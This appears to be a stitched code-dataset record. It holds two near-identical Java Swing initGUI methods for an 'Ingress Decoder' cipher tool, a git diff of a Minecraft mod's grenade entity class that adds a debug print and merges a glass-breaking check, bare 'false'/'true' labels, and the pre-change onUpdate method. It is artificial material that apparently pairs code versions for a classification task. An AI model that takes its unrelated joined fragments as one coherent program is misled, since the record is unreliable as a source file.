this.menubar.add(Box.createHorizontalStrut(10)); this.menubar.add(title); this.menubar.add(Box.createHorizontalGlue()); this.menubar.add(this.small); this.menubar.add(this.medium); this.menubar.add(this.large); this.menubar.add(this.minimize); this.menubar.add(this.close); // preparing combobox model this.model = new DefaultComboBoxModel<>(this.codes); // adding pannels to tabbed pain this.tabbedPane .addTab("Cipher", makeImageIcon("/images/Ingress_Logo.png"), this.cipher1, "Reversed, Decimal to Ascii, Pattern to Binary, Morse, Caesarian Shift"); this.tabbedPane.addTab("Cipher 2", makeImageIcon("/images/Ingress_Logo.png"), this.cipher2, "Atbash, Vigenere Key, Letter2Number"); this.tabbedPane.addTab("Converter", makeImageIcon("/images/Ingress_Logo.png"), this.convert, "Dec2ASCII"); this.tabbedPane.addTab("About us", makeImageIcon("/images/enlightened.png"), this.about, "About us"); this.tabbedPane.setMnemonicAt(0, KeyEvent.VK_0); this.tabbedPane.setMnemonicAt(1, KeyEvent.VK_1); // adding components to mainpanel this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.mainPanel.add(makeTextLabel("Code"), this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.alwaysontop = new JCheckBox("Always on top"); this.alwaysontop.setFont(this.textfont); this.alwaysontop.setForeground(this.yellowColor); this.alwaysontop.setActionCommand("onTop"); this.alwaysontop.addActionListener(this.listener); this.mainPanel.add(this.alwaysontop, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.tf_code = new JTextField(); this.tf_code.setBackground(Color.black); this.tf_code.setFont(this.mono); this.tf_code.setForeground(this.yellowColor); this.tf_code.setName("code"); this.tf_code.addCaretListener(this.listener); // combox testing this.cb_code = new JComboBox<>(this.model); this.cb_code.setBackground(Color.black); this.cb_code.setEditable(true); this.cb_code.setForeground(this.yellowColor); this.cb_code.setBorder(new LineBorder(this.yellowColor, 1)); this.cb_code.setUI((ComboBoxUI) MyComboBoxUI.createUI(this.cb_code)); this.cb_code.setFont(this.mono); this.cb_code.setName("code"); this.cb_code.getEditor().getEditorComponent() .addKeyListener(this.listener); this.cb_code.getEditor().getEditorComponent().setName("code"); // testing end this.mainPanel.add(this.cb_code, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.livedecode = new JCheckBox("Live Decoding"); this.livedecode.setFont(this.textfont); this.livedecode.setForeground(this.yellowColor); this.livedecode.setActionCommand("liveDecode"); this.livedecode.addActionListener(this.listener); this.mainPanel.add(this.livedecode, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 2; this.c.gridwidth = 2; this.c.insets = new Insets(0, 0, 0, 0); this.mainPanel.add(this.tabbedPane, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 3; this.c.gridwidth = 2; this.c.insets = new Insets(5, 5, 5, 5); this.btn_generate = new JButton("Generate"); this.btn_generate.setBackground(Color.black); this.btn_generate.setFont(this.textfont); this.btn_generate.setForeground(this.yellowColor); this.btn_generate.setActionCommand("generate"); this.btn_generate.addActionListener(this.listener); this.mainPanel.add(this.btn_generate, this.c); // adding components to frame add(this.menubar, BorderLayout.NORTH); add(this.mainPanel, BorderLayout.CENTER); // general frame settings setSize(new Dimension(900, 500)); setIconImage(makeImageIcon("/images/Ingress_Logo_Middle.png") .getImage()); setTitle("Ingress Decoder"); setUndecorated(true); setVisible(true); }
public void initGUI() { // init main panel components this.mainPanel = new JPanel(new GridBagLayout()); this.tabbedPane = new JTabbedPane(); this.mainPanel.setBackground(Color.black); this.tabbedPane.setBackground(Color.black); this.tabbedPane.setForeground(this.yellowColor); this.tabbedPane.setFont(this.textfont); this.tabbedPane.setUI(new CustomTabbedPaneUI()); this.tabbedPane.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT); // menu bar items this.close = new JButton(makeImageIcon("/images/close.png")); this.close.setRolloverIcon(makeImageIcon("/images/close_hover.png")); this.close.setPressedIcon(makeImageIcon("/images/close_pressed.png")); this.close.setBorder(BorderFactory.createEmptyBorder()); this.close.setContentAreaFilled(false); this.close.setName("close"); this.close.addMouseListener(this.listener); this.minimize = new JButton(makeImageIcon("/images/minimize.png")); this.minimize .setRolloverIcon(makeImageIcon("/images/minimize_hover.png")); this.minimize .setPressedIcon(makeImageIcon("/images/minimize_pressed.png")); this.minimize.setBorder(BorderFactory.createEmptyBorder()); this.minimize.setContentAreaFilled(false); this.minimize.setName("minimize"); this.minimize.addMouseListener(this.listener); this.large = new JButton(makeImageIcon("/images/large.png")); this.large.setRolloverIcon(makeImageIcon("/images/large_hover.png")); this.large.setPressedIcon(makeImageIcon("/images/large_pressed.png")); this.large.setBorder(BorderFactory.createEmptyBorder()); this.large.setContentAreaFilled(false); this.large.setName("large"); this.large.addMouseListener(this.listener); this.medium = new JButton(makeImageIcon("/images/medium.png")); this.medium.setRolloverIcon(makeImageIcon("/images/medium_hover.png")); this.medium.setPressedIcon(makeImageIcon("/images/medium_pressed.png")); this.medium.setBorder(BorderFactory.createEmptyBorder()); this.medium.setContentAreaFilled(false); this.medium.setName("medium"); this.medium.addMouseListener(this.listener); this.small = new JButton(makeImageIcon("/images/small.png")); this.small.setRolloverIcon(makeImageIcon("/images/small_hover.png")); this.small.setPressedIcon(makeImageIcon("/images/small_pressed.png")); this.small.setBorder(BorderFactory.createEmptyBorder()); this.small.setContentAreaFilled(false); this.small.setName("small"); this.small.addMouseListener(this.listener); JLabel ingressIcon = new JLabel( makeImageIcon("/images/Ingress_Logo_Middle.png")); JLabel title = new JLabel("Ingress Decoder"); title.setFont(new Font("Courier New", 1, 25)); title.setForeground(new Color(0, 205, 106)); // init menubar this.menubar = new ColoredMenuBar(); this.menubar.addMouseMotionListener(this.listener); this.menubar.addMouseListener(this.listener); this.menubar.setBorder(new EmptyBorder(0, 0, 0, 0)); this.menubar.add(ingressIcon); this.menubar.add(Box.createHorizontalStrut(10)); this.menubar.add(title); this.menubar.add(Box.createHorizontalGlue()); this.menubar.add(this.small); this.menubar.add(this.medium); this.menubar.add(this.large); this.menubar.add(this.minimize); this.menubar.add(this.close); // preparing combobox model this.model = new DefaultComboBoxModel<>(this.codes); // adding pannels to tabbed pain this.tabbedPane .addTab("Cipher", makeImageIcon("/images/Ingress_Logo.png"), this.cipher1, "Reversed, Decimal to Ascii, Pattern to Binary, Morse, Caesarian Shift"); this.tabbedPane.addTab("Cipher 2", makeImageIcon("/images/Ingress_Logo.png"), this.cipher2, "Atbash, Vigenere Key, Letter2Number"); this.tabbedPane.addTab("Converter", makeImageIcon("/images/Ingress_Logo.png"), this.convert, "Dec2ASCII"); this.tabbedPane.addTab("About us", makeImageIcon("/images/enlightened.png"), this.about, "About us"); this.tabbedPane.setMnemonicAt(0, KeyEvent.VK_0); this.tabbedPane.setMnemonicAt(1, KeyEvent.VK_1); // adding components to mainpanel this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.mainPanel.add(makeTextLabel("Code"), this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.alwaysontop = new JCheckBox("Always on top"); this.alwaysontop.setFont(this.textfont); this.alwaysontop.setForeground(this.yellowColor); this.alwaysontop.setActionCommand("onTop"); this.alwaysontop.addActionListener(this.listener); this.mainPanel.add(this.alwaysontop, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.tf_code = new JTextField(); this.tf_code.setBackground(Color.black); this.tf_code.setFont(this.mono); this.tf_code.setForeground(this.yellowColor); this.tf_code.setName("code"); this.tf_code.addCaretListener(this.listener); // combox testing this.cb_code = new JComboBox<>(this.model); this.cb_code.setBackground(Color.black); this.cb_code.setEditable(true); this.cb_code.setForeground(this.yellowColor); this.cb_code.setBorder(new LineBorder(this.yellowColor, 1)); this.cb_code.setUI((ComboBoxUI) MyComboBoxUI.createUI(this.cb_code)); this.cb_code.setFont(this.mono); this.cb_code.setName("code"); this.cb_code.getEditor().getEditorComponent() .addKeyListener(this.listener); this.cb_code.getEditor().getEditorComponent().setName("code"); // testing end this.mainPanel.add(this.cb_code, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.livedecode = new JCheckBox("Live Decoding"); this.livedecode.setFont(this.textfont); this.livedecode.setForeground(this.yellowColor); this.livedecode.setActionCommand("liveDecode"); this.livedecode.addActionListener(this.listener); this.mainPanel.add(this.livedecode, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 2; this.c.gridwidth = 2; this.c.insets = new Insets(0, 0, 0, 0); this.mainPanel.add(this.tabbedPane, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 3; this.c.gridwidth = 2; this.c.insets = new Insets(5, 5, 5, 5); this.btn_generate = new JButton("Generate"); this.btn_generate.setBackground(Color.black); this.btn_generate.setFont(this.textfont); this.btn_generate.setForeground(this.yellowColor); this.btn_generate.setActionCommand("generate"); this.btn_generate.addActionListener(this.listener); this.mainPanel.add(this.btn_generate, this.c); // adding components to frame add(this.menubar, BorderLayout.NORTH); add(this.mainPanel, BorderLayout.CENTER); // general frame settings setSize(new Dimension(900, 500)); setIconImage(makeImageIcon("/images/Ingress_Logo_Middle.png") .getImage()); setLocationByPlatform(true); setTitle("Ingress Decoder"); setUndecorated(true); setVisible(true); }
diff --git a/src/minecraft/co/uk/flansmods/common/guns/EntityGrenade.java b/src/minecraft/co/uk/flansmods/common/guns/EntityGrenade.java index 07c93724..9175cc28 100644 --- a/src/minecraft/co/uk/flansmods/common/guns/EntityGrenade.java +++ b/src/minecraft/co/uk/flansmods/common/guns/EntityGrenade.java @@ -1,433 +1,431 @@ package co.uk.flansmods.common.guns; import java.util.List; import com.google.common.io.ByteArrayDataInput; import com.google.common.io.ByteArrayDataOutput; import co.uk.flansmods.common.FlansMod; import co.uk.flansmods.common.InfoType; import co.uk.flansmods.common.RotatedAxes; import co.uk.flansmods.common.driveables.EntityDriveable; import co.uk.flansmods.common.teams.TeamsManager; import co.uk.flansmods.common.vector.Vector3f; import cpw.mods.fml.common.registry.IEntityAdditionalSpawnData; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.entity.player.EntityPlayerMP; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.util.DamageSource; import net.minecraft.util.EntityDamageSourceIndirect; import net.minecraft.util.EnumMovingObjectType; import net.minecraft.util.MathHelper; import net.minecraft.util.MovingObjectPosition; import net.minecraft.world.World; public class EntityGrenade extends Entity implements IEntityAdditionalSpawnData { public GrenadeType type; public EntityLivingBase thrower; /** Yeah, I want my grenades to have fancy physics */ public RotatedAxes axes = new RotatedAxes(); public Vector3f angularVelocity = new Vector3f(0F, 0F, 0F); public float prevRotationRoll = 0F; /** Set to the smoke amount when the grenade detonates and decremented every tick after that */ public int smokeTime = 0; /** Set to true when smoke grenade detonates */ public boolean smoking = false; /** Set to true when a sticky grenade sticks. Impedes further movement */ public boolean stuck = false; /** Stores the position of the block this grenade is stuck to. Used to determine when to unstick */ public int stuckToX, stuckToY, stuckToZ; /** Stop repeat detonations */ public boolean detonated = false; public EntityGrenade(World w) { super(w); } public EntityGrenade(World w, GrenadeType g, EntityLivingBase t) { this(w); setPosition(t.posX, t.posY + t.getEyeHeight(), t.posZ); type = g; thrower = t; setSize(g.hitBoxSize, g.hitBoxSize); //Set the grenade to be facing the way the player is looking axes.setAngles(t.rotationYaw + 90F, g.spinWhenThrown ? t.rotationPitch : 0F, 0F); rotationYaw = prevRotationYaw = g.spinWhenThrown ? t.rotationYaw + 90F : 0F; rotationPitch = prevRotationPitch = t.rotationPitch; //Give the grenade velocity in the direction the player is looking float speed = 0.5F * type.throwSpeed; motionX = axes.getXAxis().x * speed; motionY = axes.getXAxis().y * speed; motionZ = axes.getXAxis().z * speed; if(type.spinWhenThrown) angularVelocity = new Vector3f(0F, 0F, 10F); } @Override public void onUpdate() { super.onUpdate(); //Quiet despawning if(type.despawnTime > 0 && ticksExisted > type.despawnTime) { detonated = true; setDead(); return; } //Visuals if(worldObj.isRemote) { if(type.trailParticles) worldObj.spawnParticle(type.trailParticleType, posX, posY, posZ, 0F, 0F, 0F); //Smoke if(!smoking) { for(int i = 0; i < 20; i++) worldObj.spawnParticle(type.trailParticleType, posX + rand.nextGaussian(), posY + rand.nextGaussian(), posZ + rand.nextGaussian(), 0F, 0F, 0F); smokeTime--; if(smokeTime == 0) setDead(); } } //Detonation conditions if(!worldObj.isRemote) { if(ticksExisted > type.fuse && type.fuse > 0) detonate(); //If this grenade has a proximity trigger, check for living entities within it's range if(type.livingProximityTrigger > 0 || type.driveableProximityTrigger > 0) { float checkRadius = Math.max(type.livingProximityTrigger, type.driveableProximityTrigger); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox.expand(checkRadius, checkRadius, checkRadius)); for(Object obj : list) { if(obj == thrower && ticksExisted < 10) continue; if(obj instanceof EntityLivingBase && getDistanceToEntity((Entity)obj) < type.livingProximityTrigger) { //If we are in a gametype and both thrower and triggerer are playing, check for friendly fire if(TeamsManager.getInstance() != null && TeamsManager.getInstance().currentGametype != null && obj instanceof EntityPlayerMP && thrower instanceof EntityPlayer) { if(!TeamsManager.getInstance().currentGametype.playerAttacked((EntityPlayerMP)obj, new EntityDamageSourceGun(type.shortName, this, (EntityPlayer)thrower, type))) continue; } detonate(); break; } if(obj instanceof EntityDriveable && getDistanceToEntity((Entity)obj) < type.driveableProximityTrigger) { detonate(); break; } } } } //If the block we were stuck to is gone, unstick if(stuck && worldObj.isAirBlock(stuckToX, stuckToY, stuckToZ)) stuck = false; //Physics and motion (Don't move if stuck) if(!stuck) { prevRotationYaw = axes.getYaw(); prevRotationPitch = axes.getPitch(); prevRotationRoll = axes.getRoll(); if(angularVelocity.lengthSquared() > 0.00000001F) axes.rotateLocal(angularVelocity.length(), angularVelocity.normalise(null)); Vector3f posVec = new Vector3f(posX, posY, posZ); Vector3f motVec = new Vector3f(motionX, motionY, motionZ); Vector3f nextPosVec = Vector3f.add(posVec, motVec, null); //Raytrace the motion of this grenade MovingObjectPosition hit = worldObj.clip(posVec.toVec3(), nextPosVec.toVec3()); //If we hit block if(hit != null && hit.typeOfHit == EnumMovingObjectType.TILE) { //Get the blockID and block material int blockID = worldObj.getBlockId(hit.blockX, hit.blockY, hit.blockZ); Material mat = worldObj.getBlockMaterial(hit.blockX, hit.blockY, hit.blockZ); //If this grenade detonates on impact, do so if(type.detonateOnImpact) detonate(); //If we hit glass and can break it, do so - else if(type.breaksGlass && mat == Material.glass) + else if(type.breaksGlass && mat == Material.glass && FlansMod.canBreakGlass) { - if(FlansMod.canBreakGlass) - { - worldObj.setBlockToAir(hit.blockX, hit.blockY, hit.blockZ); - FlansMod.proxy.playBlockBreakSound(hit.blockX, hit.blockY, hit.blockZ, blockID); - } + worldObj.setBlockToAir(hit.blockX, hit.blockY, hit.blockZ); + FlansMod.proxy.playBlockBreakSound(hit.blockX, hit.blockY, hit.blockZ, blockID); } //If this grenade does not penetrate blocks, hit the block instead //The grenade cannot bounce if it detonated on impact, so hence the "else" condition else if(!type.penetratesBlocks) { Vector3f hitVec = new Vector3f(hit.hitVec); //Motion of the grenade pre-hit Vector3f preHitMotVec = Vector3f.sub(hitVec, posVec, null); //Motion of the grenade post-hit Vector3f postHitMotVec = Vector3f.sub(motVec, preHitMotVec, null); //Reflect postHitMotVec based on side hit int sideHit = hit.sideHit; switch(sideHit) { case 0 : case 1 : postHitMotVec.setY(-postHitMotVec.getY()); break; case 4 : case 5 : postHitMotVec.setX(-postHitMotVec.getX()); break; case 2 : case 3 : postHitMotVec.setZ(-postHitMotVec.getZ()); break; } //Calculate the time interval spent post reflection float lambda = Math.abs(motVec.lengthSquared()) < 0.00000001F ? 1F : postHitMotVec.length() / motVec.length(); //Scale the post hit motion by the bounciness of the grenade postHitMotVec.scale(type.bounciness / 2); //Move the grenade along the new path including reflection posX += preHitMotVec.x + postHitMotVec.x; posY += preHitMotVec.y + postHitMotVec.y; posZ += preHitMotVec.z + postHitMotVec.z; //Set the motion motionX = postHitMotVec.x / lambda; motionY = postHitMotVec.y / lambda; motionZ = postHitMotVec.z / lambda; //Reset the motion vector motVec = new Vector3f(motionX, motionY, motionZ); //Give it a random spin float randomSpinner = 90F; Vector3f.add(angularVelocity, new Vector3f(rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner), angularVelocity); //Slow the spin based on the motion angularVelocity.scale(motVec.lengthSquared()); //Play the bounce sound if(motVec.lengthSquared() > 0.01D) playSound(type.bounceSound, 1.0F, 1.2F / (this.rand.nextFloat() * 0.2F + 0.9F)); //If this grenade is sticky, stick it to the block if(type.sticky) { //Move the grenade to the point of contact posX = hitVec.x; posY = hitVec.y; posZ = hitVec.z; //Stop all motion of the grenade motionX = motionY = motionZ = 0; angularVelocity.set(0F, 0F, 0F); float yaw = axes.getYaw(); switch(hit.sideHit) { case 0 : axes.setAngles(yaw, 180F, 0F); break; case 1 : axes.setAngles(yaw, 0F, 0F); break; case 2 : axes.setAngles(270F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 3 : axes.setAngles(90F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 4 : axes.setAngles(180F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 5 : axes.setAngles(0F, 90F, 0F); axes.rotateLocalYaw(yaw); break; } //Set the stuck flag on stuck = true; stuckToX = hit.blockX; stuckToY = hit.blockY; stuckToZ = hit.blockZ; } } } //We didn't hit a block, continue as normal else { posX += motionX; posY += motionY; posZ += motionZ; } //Update the grenade position setPosition(posX, posY, posZ); } //If throwing this grenade at an entity should hurt them, this bit checks for entities in the way and does so //(Don't attack entities when stuck to stuff) if(type.hitEntityDamage > 0 && !stuck) { Vector3f motVec = new Vector3f(motionX, motionY, motionZ); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox); for(Object obj : list) { if(obj == thrower && ticksExisted < 10 || motVec.lengthSquared() < 0.01D) continue; if(obj instanceof EntityLivingBase) { + System.out.println("Damage: " + (type.hitEntityDamage * motVec.lengthSquared() * 3)); ((EntityLivingBase)obj).attackEntityFrom(getGrenadeDamage(), type.hitEntityDamage * motVec.lengthSquared() * 3); } } } //Apply gravity motionY -= 9.81D / 400D * type.fallSpeed; } @Override public boolean attackEntityFrom(DamageSource source, float f) { if(type.detonateWhenShot) detonate(); return type.detonateWhenShot; } public void detonate() { //Do not detonate before grenade is primed if(ticksExisted < type.primeDelay) return; //Stop repeat detonations if(detonated) return; detonated = true; //Play detonate sound playSound(type.detonateSound, 1.0F, 1.2F / (this.rand.nextFloat() * 0.2F + 0.9F)); //Explode if(!worldObj.isRemote && type.explosionRadius > 0.1F) { if((thrower instanceof EntityPlayer)) new FlansModExplosion(worldObj, this, (EntityPlayer)thrower, type, posX, posY, posZ, type.explosionRadius, FlansMod.explosions && type.explosionBreaksBlocks); else worldObj.createExplosion(this, posX, posY, posZ, type.explosionRadius, FlansMod.explosions && type.explosionBreaksBlocks); } //Make fire if(type.fireRadius > 0.1F) { for(float i = -type.fireRadius; i < type.fireRadius; i++) { for(float j = -type.fireRadius; j < type.fireRadius; j++) { for(float k = -type.fireRadius; k < type.fireRadius; k++) { int x = MathHelper.floor_float(i); int y = MathHelper.floor_float(j); int z = MathHelper.floor_float(k); if(worldObj.getBlockId(x, y, z) == 0) { worldObj.setBlock(x, y, z, Block.fire.blockID); } } } } } //Make explosion particles for(int i = 0; i < type.explodeParticles; i++) { worldObj.spawnParticle(type.explodeParticleType, posX, posY, posZ, rand.nextGaussian(), rand.nextGaussian(), rand.nextGaussian()); } //Drop item upon detonation, after explosions and whatnot if(!worldObj.isRemote && type.dropItemOnDetonate != null) { String itemName = type.dropItemOnDetonate; int damage = 0; if (itemName.contains(".")) { damage = Integer.parseInt(itemName.split("\\.")[1]); itemName = itemName.split("\\.")[0]; } ItemStack dropStack = InfoType.getRecipeElement(itemName, damage); entityDropItem(dropStack, 1.0F); } //Start smoke counter if(type.smokeTime > 0) { smoking = true; smokeTime = type.smokeTime; } else { setDead(); } } @Override public void setPositionAndRotation2(double x, double y, double z, float yaw, float pitch, int i) { } private DamageSource getGrenadeDamage() { if(thrower instanceof EntityPlayer) return (new EntityDamageSourceGun(type.shortName, this, (EntityPlayer)thrower, type)).setProjectile(); else return (new EntityDamageSourceIndirect(type.shortName, this, thrower)).setProjectile(); } @Override protected void entityInit() { } @Override protected void readEntityFromNBT(NBTTagCompound tags) { type = GrenadeType.getGrenade(tags.getString("Type")); thrower = worldObj.getPlayerEntityByName(tags.getString("Thrower")); rotationYaw = tags.getFloat("RotationYaw"); rotationPitch = tags.getFloat("RotationPitch"); axes.setAngles(rotationYaw, rotationPitch, 0F); } @Override protected void writeEntityToNBT(NBTTagCompound tags) { tags.setString("Type", type.shortName); if(thrower != null) tags.setString("Thrower", thrower.getEntityName()); tags.setFloat("RotationYaw", axes.getYaw()); tags.setFloat("RotationPitch", axes.getPitch()); } @Override public void writeSpawnData(ByteArrayDataOutput data) { data.writeUTF(type.shortName); data.writeInt(thrower == null ? 0 : thrower.entityId); data.writeFloat(axes.getYaw()); data.writeFloat(axes.getPitch()); } @Override public void readSpawnData(ByteArrayDataInput data) { type = GrenadeType.getGrenade(data.readUTF()); thrower = (EntityLivingBase)worldObj.getEntityByID(data.readInt()); setRotation(data.readFloat(), data.readFloat()); prevRotationYaw = rotationYaw; prevRotationPitch = rotationPitch; axes.setAngles(rotationYaw, rotationPitch, 0F); if(type.spinWhenThrown) angularVelocity = new Vector3f(0F, 0F, 10F); } }
false
true
public void onUpdate() { super.onUpdate(); //Quiet despawning if(type.despawnTime > 0 && ticksExisted > type.despawnTime) { detonated = true; setDead(); return; } //Visuals if(worldObj.isRemote) { if(type.trailParticles) worldObj.spawnParticle(type.trailParticleType, posX, posY, posZ, 0F, 0F, 0F); //Smoke if(!smoking) { for(int i = 0; i < 20; i++) worldObj.spawnParticle(type.trailParticleType, posX + rand.nextGaussian(), posY + rand.nextGaussian(), posZ + rand.nextGaussian(), 0F, 0F, 0F); smokeTime--; if(smokeTime == 0) setDead(); } } //Detonation conditions if(!worldObj.isRemote) { if(ticksExisted > type.fuse && type.fuse > 0) detonate(); //If this grenade has a proximity trigger, check for living entities within it's range if(type.livingProximityTrigger > 0 || type.driveableProximityTrigger > 0) { float checkRadius = Math.max(type.livingProximityTrigger, type.driveableProximityTrigger); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox.expand(checkRadius, checkRadius, checkRadius)); for(Object obj : list) { if(obj == thrower && ticksExisted < 10) continue; if(obj instanceof EntityLivingBase && getDistanceToEntity((Entity)obj) < type.livingProximityTrigger) { //If we are in a gametype and both thrower and triggerer are playing, check for friendly fire if(TeamsManager.getInstance() != null && TeamsManager.getInstance().currentGametype != null && obj instanceof EntityPlayerMP && thrower instanceof EntityPlayer) { if(!TeamsManager.getInstance().currentGametype.playerAttacked((EntityPlayerMP)obj, new EntityDamageSourceGun(type.shortName, this, (EntityPlayer)thrower, type))) continue; } detonate(); break; } if(obj instanceof EntityDriveable && getDistanceToEntity((Entity)obj) < type.driveableProximityTrigger) { detonate(); break; } } } } //If the block we were stuck to is gone, unstick if(stuck && worldObj.isAirBlock(stuckToX, stuckToY, stuckToZ)) stuck = false; //Physics and motion (Don't move if stuck) if(!stuck) { prevRotationYaw = axes.getYaw(); prevRotationPitch = axes.getPitch(); prevRotationRoll = axes.getRoll(); if(angularVelocity.lengthSquared() > 0.00000001F) axes.rotateLocal(angularVelocity.length(), angularVelocity.normalise(null)); Vector3f posVec = new Vector3f(posX, posY, posZ); Vector3f motVec = new Vector3f(motionX, motionY, motionZ); Vector3f nextPosVec = Vector3f.add(posVec, motVec, null); //Raytrace the motion of this grenade MovingObjectPosition hit = worldObj.clip(posVec.toVec3(), nextPosVec.toVec3()); //If we hit block if(hit != null && hit.typeOfHit == EnumMovingObjectType.TILE) { //Get the blockID and block material int blockID = worldObj.getBlockId(hit.blockX, hit.blockY, hit.blockZ); Material mat = worldObj.getBlockMaterial(hit.blockX, hit.blockY, hit.blockZ); //If this grenade detonates on impact, do so if(type.detonateOnImpact) detonate(); //If we hit glass and can break it, do so else if(type.breaksGlass && mat == Material.glass) { if(FlansMod.canBreakGlass) { worldObj.setBlockToAir(hit.blockX, hit.blockY, hit.blockZ); FlansMod.proxy.playBlockBreakSound(hit.blockX, hit.blockY, hit.blockZ, blockID); } } //If this grenade does not penetrate blocks, hit the block instead //The grenade cannot bounce if it detonated on impact, so hence the "else" condition else if(!type.penetratesBlocks) { Vector3f hitVec = new Vector3f(hit.hitVec); //Motion of the grenade pre-hit Vector3f preHitMotVec = Vector3f.sub(hitVec, posVec, null); //Motion of the grenade post-hit Vector3f postHitMotVec = Vector3f.sub(motVec, preHitMotVec, null); //Reflect postHitMotVec based on side hit int sideHit = hit.sideHit; switch(sideHit) { case 0 : case 1 : postHitMotVec.setY(-postHitMotVec.getY()); break; case 4 : case 5 : postHitMotVec.setX(-postHitMotVec.getX()); break; case 2 : case 3 : postHitMotVec.setZ(-postHitMotVec.getZ()); break; } //Calculate the time interval spent post reflection float lambda = Math.abs(motVec.lengthSquared()) < 0.00000001F ? 1F : postHitMotVec.length() / motVec.length(); //Scale the post hit motion by the bounciness of the grenade postHitMotVec.scale(type.bounciness / 2); //Move the grenade along the new path including reflection posX += preHitMotVec.x + postHitMotVec.x; posY += preHitMotVec.y + postHitMotVec.y; posZ += preHitMotVec.z + postHitMotVec.z; //Set the motion motionX = postHitMotVec.x / lambda; motionY = postHitMotVec.y / lambda; motionZ = postHitMotVec.z / lambda; //Reset the motion vector motVec = new Vector3f(motionX, motionY, motionZ); //Give it a random spin float randomSpinner = 90F; Vector3f.add(angularVelocity, new Vector3f(rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner), angularVelocity); //Slow the spin based on the motion angularVelocity.scale(motVec.lengthSquared()); //Play the bounce sound if(motVec.lengthSquared() > 0.01D) playSound(type.bounceSound, 1.0F, 1.2F / (this.rand.nextFloat() * 0.2F + 0.9F)); //If this grenade is sticky, stick it to the block if(type.sticky) { //Move the grenade to the point of contact posX = hitVec.x; posY = hitVec.y; posZ = hitVec.z; //Stop all motion of the grenade motionX = motionY = motionZ = 0; angularVelocity.set(0F, 0F, 0F); float yaw = axes.getYaw(); switch(hit.sideHit) { case 0 : axes.setAngles(yaw, 180F, 0F); break; case 1 : axes.setAngles(yaw, 0F, 0F); break; case 2 : axes.setAngles(270F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 3 : axes.setAngles(90F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 4 : axes.setAngles(180F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 5 : axes.setAngles(0F, 90F, 0F); axes.rotateLocalYaw(yaw); break; } //Set the stuck flag on stuck = true; stuckToX = hit.blockX; stuckToY = hit.blockY; stuckToZ = hit.blockZ; } } } //We didn't hit a block, continue as normal else { posX += motionX; posY += motionY; posZ += motionZ; } //Update the grenade position setPosition(posX, posY, posZ); } //If throwing this grenade at an entity should hurt them, this bit checks for entities in the way and does so //(Don't attack entities when stuck to stuff) if(type.hitEntityDamage > 0 && !stuck) { Vector3f motVec = new Vector3f(motionX, motionY, motionZ); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox); for(Object obj : list) { if(obj == thrower && ticksExisted < 10 || motVec.lengthSquared() < 0.01D) continue; if(obj instanceof EntityLivingBase) { ((EntityLivingBase)obj).attackEntityFrom(getGrenadeDamage(), type.hitEntityDamage * motVec.lengthSquared() * 3); } } } //Apply gravity motionY -= 9.81D / 400D * type.fallSpeed; }
